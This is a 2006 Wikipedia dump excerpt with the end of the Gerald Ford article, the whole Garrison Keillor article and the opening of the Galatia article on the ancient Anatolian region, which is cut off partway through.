|align=&quot;left&quot;|[[United States Secretary of the Interior|Interior]]||align=&quot;left&quot;|'''[[Rogers Morton]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Stanley K. Hathaway]]'''||align=&quot;left&quot;|1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Thomas Savig Kleppe]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Agriculture]]||align=&quot;left&quot;|'''[[Earl L. Butz]]'''||align=&quot;left&quot;|1974&amp;ndash;1976
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John A. Knebel]]'''||align=&quot;left&quot;|1976&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Commerce|Commerce]]||align=&quot;left&quot;|'''[[Frederick B. Dent]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Rogers C. B. Morton]]'''||align=&quot;left&quot;|1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Elliot L. Richardson]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Labor|Labor]]||align=&quot;left&quot;|'''[[Peter J. Brennan]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John T. Dunlop]]'''||align=&quot;left&quot;|1975&amp;ndash;1976
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[W. J. Usery]]'''||align=&quot;left&quot;|1976&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Health, Education, and Welfare|HEW]]||align=&quot;left&quot;|'''[[Caspar Weinberger]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Forrest D. Mathews]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Housing and Urban Development|HUD]]||align=&quot;left&quot;|'''[[James T. Lynn]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Carla A. Hills]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Transportation|Transportation]]||align=&quot;left&quot;|'''[[Claude Brinegar]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William T. Coleman, Jr.]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|}
&lt;br clear=&quot;all&quot;&gt;

=== Supreme Court appointments ===
In 1975, Ford appointed [[John Paul Stevens]] as [[Associate Justice of the Supreme Court of the United States]].

==1976 election bid==
[[Image:FordNixonBushReagenCarter.jpg|thumb|200px|right|(Left to right:) Presidents Gerald Ford, [[Richard Nixon]], [[George H. W. Bush]], [[Ronald Reagan]], and [[Jimmy Carter]] at the dedication of the [[Reagan Presidential Library]] (1991).]]

It is believed that Ford's pardoning of [[Richard Nixon|Nixon]], along with the continuing economic problems, cost him the [[U.S. presidential election, 1976|election of 1976]].

His campaign may also have been hampered by a strong challenge that year for the nomination in the Republican party by [[Ronald Reagan]].  Additionally, Ford made a major [[gaffe]] during the second [[U.S. Presidential election debates|Presidential election debate]] when he insisted that [[Eastern Europe]] was not dominated by the [[Soviet Union]].The questioner was incredulous,and gave Ford a chance to reverse hisself,but Ford stood firm. Carter replied that he would like to see Ford convince [[Czechoslovakia|Czech-Americans]] and [[Polish American|Polish-Americans]] that their countries did not live under Soviet domination. On [[30 October]], [[1975]], his refusal to sanction federal aid for the city of [[New York City|New York]] led ''[[New York Daily News|The New York Daily News]]'' to paraphrase their perception of Ford's attitude in the headline &quot;Ford to City: Drop Dead.&quot;

Had Ford won the election, he would have been disqualified by the [[Twenty-second Amendment to the United States Constitution|22nd amendment]] from running in [[U.S. Presidential election, 1980|1980]] because he served more than two years of Nixon's second term.





==Post-Presidential years==
[[image:pres38-42.jpg|thumb|200px|right|Ford was one of four ex-Presidents who joined then-President [[Bill Clinton]] in attending the [[funeral]] of [[Richard Nixon]] on [[April 27]], [[1994]], in Nixon's hometown of [[Yorba Linda, California]].]]

Ford remained relatively active as a former President, and during his post-Presidential years he continued to make appearances at events of historical and ceremonial significance to the nation, such as Presidential inaugurals and memorial services. In 1981 he opened the [[Gerald R. Ford Museum]] in [[Grand Rapids, Michigan]], and the [[Gerald R. Ford Library]] in [[Ann Arbor, Michigan]]. In 1999, Ford was awarded the Presidential Medal of Freedom by President Bill Clinton. In 2001, he was presented with the John F. Kennedy Profiles in Courage Award for his decision to pardon Richard Nixon to stop the agony America was experiancing over Watergate.

Ford has remained an avid fan of [[University of Michigan|Michigan]] football and delivered a videotaped message before Michigan and [[Ohio State University|Ohio State]] played their 100th game in 2003. In 1999, the School of Public Policy at the [[University of Michigan]] was renamed the [[Gerald R. Ford School of Public Policy]] in honor of Ford's lifetime of public service.  

Ford remained popular as a caricature in his retirement, with such icons as ''[[Saturday Night Live]]'' and ''[[The Simpsons]]'' continuing to lampoon him, but, despite his taking these in good humor, he chose to continue to respect the office by not appearing on those shows as himself (although he did appear on ''SNL'' as himself on  [[April 17]], [[1976]], during his run for re-election). He also appeared as himself on an episode of the prime-time [[soap opera]] ''[[Dynasty (TV series)|Dynasty]]'' on [[December 21]], [[1983]].

Since the death of [[Ronald Reagan]] on [[June 5]], [[2004]], Ford has been the oldest living former President. He is one of two U.S. Presidents to live to the age of 92 years, and the second longest-lived President in [[History of the United States|U.S. history]], behind Reagan's record of 93 years 120 days. If Ford lives through [[November 11]], [[2006]], he will become the longest-lived President of all time. He also has the second longest retirement among Presidents at 29 years, behind [[Herbert Hoover]]'s record of 31, which Ford would break if he lives until 2008.

Ford has been outspoken on a variety of political issues confronting the nation since leaving office. Although he had taken a more [[centrist]]-to-[[conservative]] stance on the matter while campaigning for President in 1976, Ford has emerged as a leading [[pro-choice]] Republican on abortion rights; he has been an advisor to [[Republicans for Choice]], and told [[Larry King]] in an interview that he shared in his wife's outspoken support of reproductive rights. Ford has also endorsed civil unions for gay couples, and urged Republicans not to support the [[Impeachment of Bill Clinton|impeachment of President Bill Clinton]] in the late 1990s.

In June of 2004, the [[Flatsigned press | Flatsigned Press]] released a new limited edition of 'The John F. Kennedy Assassination Report' that contained an exclusive new introduction written by Ford with new information regarding the assassination of President John F. Kennedy and the many conspiracy theories that have plagued American citizens for a generation. The new text from President Ford ends with his ties to the current administrations of President George H.W. Bush, Vice President Dick Cheney, Secretary of Defense Donald Rumsfield and President George W. Bush and also includes commentary on Presidents Reagan and Carter.

In his later years Ford was quite accommodating in his written correspondence to those who had written to his office, often times fulfilling [[autograph]] requests, but in 2005, his office enacted a policy that he and Mrs. Ford ''&quot;are no longer able to comply with the thousands of autograph requests that they receive each year.&quot;''

On [[November 22]], [[2004]], New York Republican Governor [[George Pataki]] named Ford and the other living former Presidents ([[Jimmy Carter]], [[George H. W. Bush]], and [[Bill Clinton]]) as honorary members of the board rebuilding the [[World Trade Center]].

Ford is a moderate Republican and is a member of moderate Republican groups such as [[Republican Majority For Choice]], [[Republicans For Choice]] and the advisory board of [[Christine Todd Whitman]]'s &quot;Its My Party Too&quot; organization.

Ford has experianced a few health problems in the last few years. He suffered two minor strokes at the 2000 Republican National Convention, but made a quick recovery. In January of 2006, he spent 11 days at the Eisenhower Medical Center in Rancho Mirage California for treatment of pneumonia.

==Resources==
===Memoirs and primary sources===
* Cannon, James. ''Time and Chance: Gerald R. Ford's Appointment with History''. New York: HarperCollins, 1993. (Chapters 1-3 concern Ford's early life and election to Congress; chapters 4&amp;ndash;7 his congressional career; chapters 8&amp;ndash;11 Watergate; chapters 12&amp;ndash;19 concern Ford's appointment as Vice President, his Vice Presidency, the move to impeach Richard Nixon, and the transition to the Presidency; chapter 20 concerns the Nixon pardon; and chapter 21 is a summary of the Ford Presidency.)
* Casserly, John J. ''The Ford White House: Diary of a Speechwriter''. Boulder, CO: Colorado Associated University Press, 1977. (Memoir by a speechwriter for President Ford. It covers the period from November 1974 to January 1976.)
* Coyne, John R. ''Fall in and Cheer''. New York: Doubleday, 1979. (Memoir. Chapter 7 concerns his service as a Ford speechwriter, August 1974&amp;ndash;February 1975.)
* Ford, Betty. ''The Times of My Life''. New York: Harper &amp; Row, 1978. (Mrs. Ford's memoir - chapters 22- 37 concern her husband's Presidency. The book emphasizes personal and family experiences rather than political events.)
* Ford, Gerald R. ''Selected Speeches''. Arlington, VA: R.W. Beatty, 1973. (A collection of speeches Ford delivered between 1965 and 1972 concerning politics and domestic and foreign affairs.)
* Ford, Gerald R. ''A Time to Heal: The Autobiography of Gerald R. Ford''. New York: Harper &amp; Row, 1979. (Memoir mainly concerning his Presidency.)
* ''The Ford Presidency: Twenty-Two Intimate Perspectives of Gerald Ford'', Edited by Kenneth W. Thompson. Portraits of American Presidents, VII. Lanham, MA: University Press of America, 1988. (Interviews with Ford administration officials.)
* Gerald R. Ford: ''Presidential Perspectives from the National Archives''. Washington, DC: National Archives Trust Fund Board, 1994. (Sections written by Frank H. Mackaman, Leesa Tobin, and David Horrocks of the Ford Library. Photographs selected by Audiovisual Archivist Ken Hafeli.)
* Hartmann, Robert T. ''Palace Politics: An Insider's Account of the Ford Years''. New York: McGraw-Hill, 1980. (Memoir. Several chapters concern his work as an assistant to Congressman and Vice President Ford. Chapters 7&amp;ndash;16 concern his work as a White House Counsellor and supervisor of the speechwriting unit.)
* Hersey, John. ''The President: A Minute-by-Minute Account of a Week in the Life of Gerald Ford''. New York: Knopf, 1975. (A writer examines President Ford's activities during one week in March 1975. Originally appeared in the &quot;New York Times Magazine,&quot; April 20, 1975. Reprinted in Hersey's book &quot;Aspects of the Presidency: Truman and Ford in Office,&quot; New Haven, Ticknor and Fields, 1980.)
* Kissinger, Henry A., ''Years of Renewal''.  (Kissinger's memoir of foreign policy decisions during his tenure as Secretary of State under Ford, including the Cyprus incident, the fall of Saigon, movement to an Egypt-Israeli peace agreement, Strategic Arms talks with the Soviet Union, and efforts to end fighting in Rhodesia.)

===Secondary sources===
* Congressional Quarterly, Inc. ''President Ford: The Man and His Record''. Washington, DC: Congressional Quarterly, 1974. (Background on Ford's political career and legislative record prior to becoming President, including his statements on major issues.)
* Congressional Quarterly, Inc. ''Presidency''. Washington, DC: Congressional Quarterly, 1974-1976. (Annual volumes reviewing activities or issues.)
* Firestone, Bernard J. and  Alexej Ugrinsky, eds. ''Gerald R. Ford and the Politics of Post-Watergate America'' v 2 (1993), essays
* Greene, John Robert. ''The Limits of Power: The Nixon and Ford Administrations''. Bloomington: Indiana University Press, 1992. standard scholarly history
* Greene, John Robert. ''The Presidency of Gerald R. Ford.'' Lawrence: University Press of Kansas, 1995. standard scholarly history
* Mieczkowski, Yanek. “Gerald Ford And The Challenges Of The 1970s”.  University Press of Kentucky, 2005. ISBN: 0813123496. A four part examination on leadership, the economic, the energy crisis, and foreign relations.
* Reichley, James. ''Conservatives in an Age of Change: The Nixon and Ford Administrations'' (1981), detailed narrative.
* Ugrinsky, Alexej and Bernard J. Firestone, eds. ''Gerald R. Ford and the Politics of Post-Watergate America'' v 1 (1993), essays; (Proceedings of a conference on the Presidency of Gerald R. Ford that took place at Hofstra University in April 1989.)

==See also==
* [[U.S. presidential election, 1976]]
* [[Interstate 196|Gerald R. Ford Freeway]]
* [[Gerald R. Ford International Airport]] in [[Grand Rapids, Michigan]]
* [[Gerald R. Ford Library]] in [[Ann Arbor, Michigan]]
* [[Gerald R. Ford Museum]] in [[Grand Rapids, Michigan]]
* [[History of the United States (1964-1980)|History of the United States (1964&amp;ndash;1980)]]
* [[List of notable World War II veterans|Notable World War II Veterans]]
* [[swine flu]]

==Trivia==
*[[Chevy Chase]] often did [[pratfall]]s on ''[[Saturday Night Live]]'' in imitation of Ford, who was caught in photos stumbling on two occasions during his term. This is ironic, though, as Ford is one of the most athletically skilled president in U.S. history. In addition to being a starter on the [[University of Michigan]] football team, he also turned down an opportunity to try out for the [[Green Bay Packers]] and chose instead to attend law school. Ford throughout his life was also an accomplished skier and swimmer, and was once even a forest ranger. He also coached boxing while in law school and played golf throughout his life.

*Ford is both a Knight of [[Malta]] (presumably honorary as he is not a [[Roman Catholic]]), and a [[Freemason]], two things which, not long ago, would have been [[mutually exclusive]].

==External links==
{{wikisource author}}
{{wikiquote}}
* {{gutenberg author| id=Gerald+R.+Ford | name=Gerald Ford}}
* [http://www.whitehouse.gov/history/presidents/gf38.html White House biography]
* [http://geraldrfordfoundation.org/ Gerald R. Ford Foundation]
* [http://www.fordlibrarymuseum.gov Ford Library and Museum]
* [http://www.usa-Presidents.info/union/ford-1.html First State of the Union Address]
* [http://www.historyguy.com/biofiles/ford_gerald.html Brief bio on Gerald Ford]
* [http://www.usa-Presidents.info/union/ford-2.html Second State of the Union Address]
* [http://www.usa-Presidents.info/union/ford-3.html Third State of the Union Address]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=FordGR Audio recordings of Ford's speeches]
{{start box}}
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{{Persondata
|NAME=Ford, Gerald
|ALTERNATIVE NAMES=Ford, Gerry
|SHORT DESCRIPTION=38th US President
|DATE OF BIRTH=[[July 14]], [[1913]]
|PLACE OF BIRTH=[[Omaha, Nebraska]], [[United States of America]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:1913 births|Ford, Gerald R.]]
[[Category:Alpha Phi Omega honorary brothers|Ford, Gerald]]
[[Category:American World War II veterans|Ford, Gerald]]
[[Category:American football offensive linemen|Ford, Gerald]]
[[Category:Congressional Gold Medal recipients|Ford, Gerald]]
[[Category:Delta Kappa Epsilon brothers|Ford, Gerald]]
[[Category:Distinguished Eagle Scouts|Ford, Gerald]]
[[Category:Eagle Scouts|Ford, Gerald]]
[[Category:Elks|Ford, Gerald]]
[[Category:Episcopalians|Ford, Gerald]]
[[Category:Freemasons|Ford, Gerald]]
[[Category:John F. Kennedy assassination|Ford, Gerald]]
[[Category:Knights of Malta|Ford, Gerald]]
[[Category:Living people|Ford, Gerald]]
[[Category:Members of the United States House of Representatives from Michigan|Ford, Gerald]]
[[Category:Michigan Wolverines football players|Ford, Gerald]]
[[Category:Omahans|Ford, Gerald]]
[[Category:People from Michigan|Ford, Gerald]]
[[Category:Premature obituaries|Ford, Gerald]]
[[Category:Presidential Medal of Freedom recipients|Ford, Gerald]]
[[Category:Presidents of the United States|Ford, Gerald]]
[[Category:United States Navy officers|Ford, Gerald]]
[[Category:Vice Presidents of the United States|Ford, Gerald]]
[[Category:Vietnam War people|Ford, Gerald]]
[[Category:Watergate figures|Ford, Gerald]]

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  </page>
  <page>
    <title>Garrison Keillor</title>
    <id>12743</id>
    <revision>
      <id>42161640</id>
      <timestamp>2006-03-04T05:45:19Z</timestamp>
      <contributor>
        <username>Rellman</username>
        <id>988392</id>
      </contributor>
      <text xml:space="preserve">[[Image:GarrisonKeillor.jpg|frame|right|Garrison Keillor]]
'''Garrison Keillor''' (born '''Gary Edward Keillor''' on [[August 7]], [[1942]]) is an [[United States of America|American]] author, [[humorist]], [[columnist]], musician, [[satirist]], and radio personality.

He is best known as founder and host of the [[American Public Media]] show ''[[A Prairie Home Companion]]'' (also known as ''[[Garrison Keillor's Radio Show]]'' on [[BBC 7]] and in Ireland).  Keillor's trademark storyline is the weekly ''[[Lake Wobegon|News from Lake Wobegon]],'' a [[monologue]] about a [[Fictional city#L|fictional town]] (based on [[Anoka, Minnesota]], Garrison's hometown or possibly [[Freeport, Minnesota]], near the center of the state  where Keillor lived for a short period of time), &quot;where the women are strong, the men are good looking, and all the children are above average.&quot;

Keillor has also written many articles for ''[[The New Yorker]]'' and ''[[The Atlantic Monthly]]''.  Keillor is the host of ''[[The Writer's Almanac]]'', a five-minute program which is broadcast daily on some public radio stations in the United States.

Mr. Keillor's works from &lt;i&gt;The New Yorker&lt;/i&gt; and other magazines have been gathered into two collections: &lt;i&gt;Happy to Be Here&lt;/i&gt;, published in 1981 (and later acquired, and republished with 5 additional pieces, by UK outlet Penguin Books) and &lt;i&gt;We are Still Married&lt;/i&gt;, which features newer articles, literary outtakes, poems and additional Lake Wobegon tales which were all written by him in the 1980's. When Penguin acquired WASM for republishing it also added new pieces from around that period to the collection; 6 in this case.

Garrison Keillor did the voiceover for the 2003 [[Honda Accord]] commercial entitled &quot;[[Cog (television commercial)|Cog]]&quot;.  The two minute television ad features a complex system of car parts that react with each other to create a chain reaction similar to a [[Rube Goldberg]] cartoon.  The commercial ends with Keillor asking, &quot;Isn't it nice when things just work?&quot; [http://www.creativeclub.co.uk/prelogin/mg.aspx?m=tv&amp;r=208543&amp;ref=] Keillor also sang the voiceover in the 2004 Honda Diesel commercial entitled &quot;Grrr&quot;.

His laid back style is often the subject of criticism and parody. ''[[The Simpsons]]'' parodies Keillor in an episode where Keillor is shown reading his monologue and the studio audience laughing wildly, with Homer wondering, &quot;What the hell's so funny?&quot; [http://www.snpp.com/episodes/1F03.html] In practice, Keillor rarely reads his monologue directly from the script, but the monotonous intonation and style of dress caricature Keillor successfully. One Boston radio critic likens Keillor and his &quot;down comforter voice&quot; to &quot;a hypnotist intoning, 'You are getting sleepy now', while noting that Keillor does play to listeners' intelligence. [http://www.boston.com/news/local/articles/2005/07/17/air_waves_bostons_public_radio_scene_gets_interesting?mode=PF]

In the UK, his commercials have been parodied especially his song (for Honda): &quot;Hate something, Change something, Make something better&quot; (clip available below).

During the summer of 2005, production began on a film version of ''A Prairie Home Companion'' written by Keillor and directed by [[Robert Altman]].

==Mr. Blue==
He also authored an [[Agony aunt|advice column]] on ''[[Salon.com]]'', titled &quot;Mr. Blue&quot;. Following a heart operation, he resigned on [[September 4]], [[2001]] in [http://www.salon.com/books/col/keil/2001/09/04/adieu/index.html an article entitled &quot;Every dog has his day&quot;]:

:Illness offers the chance to think long thoughts about the future (praying that we yet have one, dear God), and so I have, and so this is the last column of Mr. Blue, under my authorship, for Salon.

:Over the years, Mr. Blue's strongest advice has come down on the side of freedom in our personal lives, freedom from crushing obligation and overwork and family expectations and the freedom to walk our own walk and be who we are. And some of the best letters have been addressed to younger readers trapped in jobs like steel suits, advising them to bust loose and go off and have an adventure. Some of the advisees have written back to inform Mr. Blue that the advice was taken and that the adventure changed their lives. This was gratifying.

:So now I am simply taking my own advice. Cut back on obligations: Promote a certain elegant looseness in life. Simple as that. Winter and spring, I almost capsized from work, and in the summer I had a week in [[Saint Marys Hospital (Rochester)|St. Mary's Hospital]] to sit and think, and that's the result. Every dog has his day and I've had mine and given whatever advice was mine to give (and a little more). It was exhilarating to get the chance to be useful, which is always an issue for a writer (What good does fiction do?), and Mr. Blue was a way to be useful. Nothing human is beneath a writer's attention; the basic questions about how to attract a lover and what to do with one once you get one and how to deal with disappointment in marriage are the stuff that fiction is made from, so why not try to speak directly? And so I did. And now it's time to move on.


In June 2005, Mr. Keillor started a syndicated newspaper column, which Salon.com runs.

==Personal information==
Garrison Keillor was born in [[Anoka, Minnesota|Anoka]], [[Minnesota]]. Raised in the [[Plymouth Brethren]], which he has since left. He is six feet, four inches tall and is of [[Norwegian-American|Norwegian]] and [[Scotland|Scottish]] ancestry.  Keillor is a member of the [[Minnesota Democratic-Farmer-Labor Party|Democratic-Farmer-Labor Party]]. He is a [[Lutheran]] and often uses his religious roots in his material. He graduated from the [[University of Minnesota]] with a [[bachelor's degree]] in English in [[1966]]. While there, he began his broadcasting career on the student-operated radio station, known today as [[Radio K]].

Keillor is married to violinist [[Jenny Lind Nilsson]]; they have a daughter, Maia. His first wife was [[Mary Guntzel]], with whom he had a son, Jason. His second wife was [[Ulla Skaerved]].

==Bibliography==
Keillor's work includes:
*''Good Poems for Hard Times'' ([[2005 in literature|2005]]), ISBN 0670034363
*''Homegrown Democrat'' ([[2004 in literature|2004]]), ISBN 0670033650
*''Love Me'' ([[2003 in literature|2003]]), ISBN 0670032468
*''Good Poems'' ([[2002 in literature|2002]]), ISBN 0670031267
*''Lake Wobegon Summer 1956'' ([[2001 in literature|2001]]), ISBN 0571210147
*''Me, by Jimmy Big Boy Valente'' ([[1999 in literature|1999]]), ISBN 067088796X
*''Wobegon Boy'' ([[1997 in literature|1997]]), ISBN 0670878073
*''The Sandy Bottom Orchestra'' (with Jenny Lind Nilsson, [[1996 in children's literature|1996]]), ISBN 0786812508
*''The Book of Guys'' ([[1993 in literature|1993]]), ISBN 067084943X
*''WLT: A Radio Romance'', ([[1991 in literature|1991]]), ISBN 0670818577
*''We Are Still Married'' ([[1989 in literature|1989]]), ISBN 0670826472
*''Leaving Home'' ([[1987 in literature|1987]]), ISBN 067081976X
*''Lake Wobegon Days'' ([[1985 in literature|1985]]), ISBN 0140131612; a recorded version of this won a [[Grammy Award for Best Spoken Word or Non-musical Album]] [[Grammy Awards of 1988|in 1988]]
*''Happy to be Here'' ([[1982 in literature|1982]]), ISBN 0068112017

==References==
*Keillor, Garrison. [http://www.nationalgeographic.com/ngm/0012/feature5/index.html In search of Lake Wobegon]. ''National Geographic.''  Dec. 2000.
*[http://www.opinion.telegraph.co.uk/news/main.jhtml?xml=/news/2003/04/13/nhonda13.xml&amp;sSheet=/news/2003/04/13/ixhome.html &quot;Lights! Camera! Retake!&quot;]. ''Telegraph'' (2003). Retrieved Jun. 7, 2005.

===See also===
*[[List of famous Minnesotans]] ''(Hidden Hometown Heroes)''

==External links==
{{wikiquote}}
*[http://books.guardian.co.uk/departments/generalfiction/story/0,6000,1163066,00.html Minnesota Zen Master] - a detailed profile of Garrison Keillor, published in ''The Guardian'', [[March 6]], [[2004]].
*[http://www.creativeclub.co.uk/prelogin/mg.aspx?m=tv&amp;r=208543&amp;ref= Cog] - Honda Accord commercial
*[http://multimedia.honda-eu.com/diesel/Movie.swf Grr] Grr Advert - Honda - &quot;Hate Something, Change Something, Make Something Better&quot;
*[http://wiredforbooks.org/garrisonkeillor/ Audio Interviews with Garrison Keillor by Don Swaim of CBS Radio - RealAudio]
*[http://www.mnspeak.com/mnspeak/archive/post-733.cfm The MNspeak t-shirt case]
*[http://www.chicagotribune.com/news/opinion/chi-0603010138mar01,0,1451901.story?coll=chi-newsopinioncommentary-hed Mr. Keillor has had enough of GW Bush]

[[Category:1942 births|Keillor, Garrison]]
[[Category:Advice columnists|Keillor, Garrison]]
[[Category:American Public Media|Keillor, Garrison]]
[[Category:American humorists|Keillor, Garrison]]
[[Category:American radio personalities|Keillor, Garrison]]
[[Category:Lutherans|Keillor, Garrison]]
[[Category:Members of The American Academy of Arts and Letters|Keillor, Garrison]]
[[Category:Minneapolitans|Keillor, Garrison]]
[[Category:Minnesota Public Radio|Keillor, Garrison]]
[[Category:Norwegian-Americans|Keillor, Garrison]]
[[Category:People from Minnesota|Keillor, Garrison]]
[[Category:Living people|Keillor, Garison]]

[[de:Garrison Keillor]]</text>
    </revision>
  </page>
  <page>
    <title>Galatia</title>
    <id>12744</id>
    <revision>
      <id>42027560</id>
      <timestamp>2006-03-03T08:26:51Z</timestamp>
      <contributor>
        <username>Behemoth</username>
        <id>203360</id>
      </contributor>
      <text xml:space="preserve">:''For the Greek name for Gaul, see [[Gaul]]''

Ancient '''Galatia''' was an area in the highlands of central [[Anatolia]] (now [[Turkey]]). Galatia was bounded on the north by  [[Bithynia]] and [[Paphlagonia]], on the east by [[Pontus]], on the south by [[Lycaonia]] and [[Cappadocia]], and on the west by the remainder of [[Phrygia]], the eastern part of which the [[Gaul]]s had invaded. The modern capital of Turkey, [[Ankara]] lies in ancient Galatia. 

Galatia was named for the immigrant Gauls from [[Thrace]], who became its ruling caste in the [[3rd century BCE]]. It has been called the &quot;Gallia&quot; of the East, Roman writers calling its inhabitants [[Galli]]. They were an intermixture of Gauls and Greeks, and hence [[Francis Bacon]] and other Renaissance writers called them &quot;Gallo-Graeci,&quot;&lt;!--not a Roman term--&gt; and the country &quot;Gallo-Graecia&quot;.

The Galatians were in their origin a part of that great [[Celt]]ic migration which invaded [[Macedon]], led by the 'second' [[Brennus]], a Gaulish chief. He invaded Greece in [[281 BCE]] with a huge warband and was turned back in the nick of time from plundering the temple of Apollo at Delphi. At the same time, another Gaulish group were migrating with their women and children through Thrace. They had split off from Brennus' Gauls in [[279 BCE]], and had migrated into Thrace under their leaders Leonnorius and Lutarius. These Gaulish invaders appeared in Asia Minor in [[278 BCE|278]]&amp;ndash;[[277 BCE]]; others invaded Macedon, killed the [[Ptolemaic]] king [[Ptolemy Ceraunus]] but were eventually ousted by [[Antigonus Gonatas]], the grandson of the defeated [[diadoch]] [[Antigonus I Monophthalmus|Antigonus the One-Eyed]]. 

As so often happens in cases of invasion, the invaders came at the express invitation of [[Nicomedes I of Bithynia|Nicomedes I]] of Bithynia, who required help in a dynastic struggle against his brother. Three tribes of Gauls crossed over from Thrace to Asia Minor. They numbered about 10,000 fighting men and about the same number of women and children, divided into three tribes, Trocmi, Tolistobogii and Tectosages. They were eventually defeated by the [[Seleucid]] king [[Antiochus I]], in a battle where the Seleucid war elephants shocked the Celts. While breaking the momentum of the invasion, the Galatians were by no means exterminated.

Instead, the migration led to the establishment of a long-lived Gaulish territory in central [[Anatolia]], which included the eastern part of ancient [[Phrygia]], a territory that became known as [[Galatia]]. There they ultimately settled, and being strengthened by fresh accessions of the same clan from Europe, they overran Bithynia, and supported themselves by plundering neighbouring countries.

The constitution of the Galatian state is described by [[Strabo]]: conformably to Gaulish custom, each tribe was divided into cantons, each governed by a chief ('tetrarch') of its own with a judge under him, whose powers were unlimited except in cases of murder, which were tried before a council of 300 drawn from the twelve cantons and meeting at a holy place, twenty miles southwest of Ancyra, which was likely to have been a sacred oak grove, for it was called 'Drynemeton' the &quot;temple of the oaks&quot; ''drys'' + ''nemed'' &quot;temple&quot;. The local population of Cappadocians were left in control of the towns and most of the land, paying tithes to their new overlords, who formed a military aristocracy and kept aloof in fortified farmsteads, surrounded by their bands. 
[[Image:WoundedGaulCapitolineMus.jpg|thumb|right|280px|[[Dying Gaul|The Dying Gaul]]: a Hellenistic image of a noble adversary ([[Capitoline Hill|Capitoline Museum]], Rome]]
The Gauls were great warriors, respected by Greeks and Romans (''illustration, right''). They hired themselves out as mercenary soldiers, sometimes fighting on both sides in the great battles of the times. For years the Gaulish chieftains and their warbands ravaged the western half of Asia Minor, as allies of one or other of the warring princes, without any serious check, until they sided with the renegade Seleucid prince [[Antiochus Hierax]], who reigned in [[Asia Minor]]. Hierax tried to defeat king [[Attalus I|Attalus I of Pergamum]] ([[241 BCE|241]]&amp;ndash;[[197 BCE]]), but instead, the hellenised cities united under his banner, and his armies inflicted several severe defeats upon them, about 232 forcing them to settle permanently and to confine themselves to the region to which they had already given their name.  The theme of the ''Dying Gaul'' (a famous statue displayed in Pergamon) remained a favorite in Hellenistic art for a generation. Their right to the district was formally recognized. The three Gaulish tribes were settled where they afterwards remained, the Tectosages round Ancyra, the Tolistobogii round [[Pessinus]], sacred to [[Cybele]], and the Trocmi round Tavium.

But the power of the Gauls was not yet broken. The Pergamene king himself soon employed their services in the increasingly devastating wars of Asia Minor; another band deserted from their Egyptian overlord [[Ptolemy IV]] after a [[solar eclipse]] had broken their spirits.

In the early 2nd century BCE they proved terrible allies of [[Antiochus III|Antiochus the Great]], the last Seleucid king trying to regain suzerainity over Asia Minor, but after the defeat of the Seleucid king to the Romans, Rome at last proved a worthy protection against them. In [[189 BCE]] an expedition was sent against them under Ca. Manlius Vulso, who defeated them. Henceforward their military power declined and they fell at times under [[Pontus|Pontic]] ascendancy, from which they were finally freed by the [[Mithridatic Wars]], in which they heartily supported Rome. 

[[Image:Galatia Map.png|thumb|280px|left|Galatia as a Roman province.]]
In the settlement of [[64 BC|64 BCE]] Galatia became a client-state of the empire, the old constitution disappeared, and three chiefs (wrongly styled &amp;#8220;tetrarchs &amp;#8220;) were appointed, one for each tribe. But this arrangement soon gave way before the ambition of one of these tetrarchs, [[Deiotarus]], the contemporary of Cicero and Caesar, who made himself master of the other two tetrarchies and was finally recognized by the Romans as 'king' of Galatia. On the death of the third king Amyntas in [[25 BCE]], however, Galatia was incorporated by Augustus in the [[Roman empire]], though near his capital Ancyra ([[Ankara]]) Pylamenes, the king's heir, rebuilt a temple of the Phrygian goddess [[Men]] to venerate Augustus, as a sign of fidelity.  It was in a temple carving in Galatia that the major source for the [[Res Gestae]] of Augustus were preserved for modernity.  Few of the provinces proved more enthusiastically loyal to Rome. The Galatians also practiced a form of Romano-Celtic polytheism, common in Celtic lands.

During his second missionary journey [[Paul of Tarsus|Paul]], accompanied by Silas and Timothy (Acts 16:6), visited the &quot;region of Galatia,&quot; where he was detained by sickness ([[Epistle to Galatians]] 4:13), and had thus the longer opportunity of preaching to them the gospel. On his third journey he went over &quot;all the country of Galatia and [[Phrygia]] in order&quot; (Acts 18:23). During the journeys of Paul he was received with enthusiasm in Galatia.In ''Acts'', xvi, 6 and xviii, 23:&quot;And they went through the Phrygian and Galatian region&quot; (''ten phrygian kai Galatiken choran'') and &quot;he departed and went through the Galatian region and Phrygia&quot;  (''ten Galatiken choran kai phrygian''). The Galatians were fickle; at Lystra the multitude could scarcely be restrained from sacrificing to Paul (because they assumed he was a god); shortly afterwards they stoned him and left him for dead. Crescens was sent thither by Paul toward the close of his life (''2 Timothy'' 4:10).

